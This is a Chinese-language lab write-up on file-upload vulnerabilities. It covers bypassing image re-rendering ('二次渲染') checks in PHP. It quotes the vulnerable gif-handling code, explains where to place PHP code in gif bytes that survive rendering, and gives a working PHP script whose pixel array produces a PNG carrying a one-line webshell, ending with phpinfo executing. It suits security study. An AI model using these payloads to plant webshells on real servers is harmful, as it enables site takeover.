目录
[2.1 .gif文件上传](#2.1 .gif文件上传)
[2.2 png的上传](#2.2 png的上传)
1、原理
文件上传漏洞是web系统中常见的一种功能,通过文件上传能实现上传图片、视频,以及其他类型的文件,但是随着web中包含的功能越来越多,潜在的网络安全风险也就越大。如果恶意用户上传了可执行的文件或者脚本,就会导致网站被其控制甚至会使其服务器沦陷,以至于引发恶意的网络安全事件。
文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。
2、复现
2.1 .gif文件上传
关于.gif 的源码
else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
源码分析:我们可以看到$fileext 和 $filetype 是来判断是否为.gif 格式
使用move_uploaded_file
函数来做判断条件,如果成功将文件移动到$target_path
,就会进入二次渲染的代码,反之上传失败。
由于在二次渲染时重新生成了文件名,所以可以根据上传后的文件名,来判断上传的图片是二次渲染后生成的图片还是直接由move_uploaded_file
函数移动的图片。
1)首先准备一个.gif 文件将web.php 中的 <?php phpinfo(); ?>融合,如图所示我们将a.gif 文件与web.php 合成了一个b.gif
用使用16进制编辑器将b.gif打开,我们可以看到 phpinfo();
2)上传b.gif 文件,上传之后我们再次下载上传后的图像地址,
我们再次使用16进制打开,可以看到被渲染的图片里面已经没有 phpinfo();
3)关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。
然后我们包含一下,可以看到已经成功。
2.2 png的上传
1)首先创建一个php文件,在同一级目录下放一个1.png的图片
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1111.png');
?>
然后运行此文件,的到1111.png
我们使用记事本打开此文件,有一句话木马
然后我们上传:
我们可以看到phpinfo(); 执行成功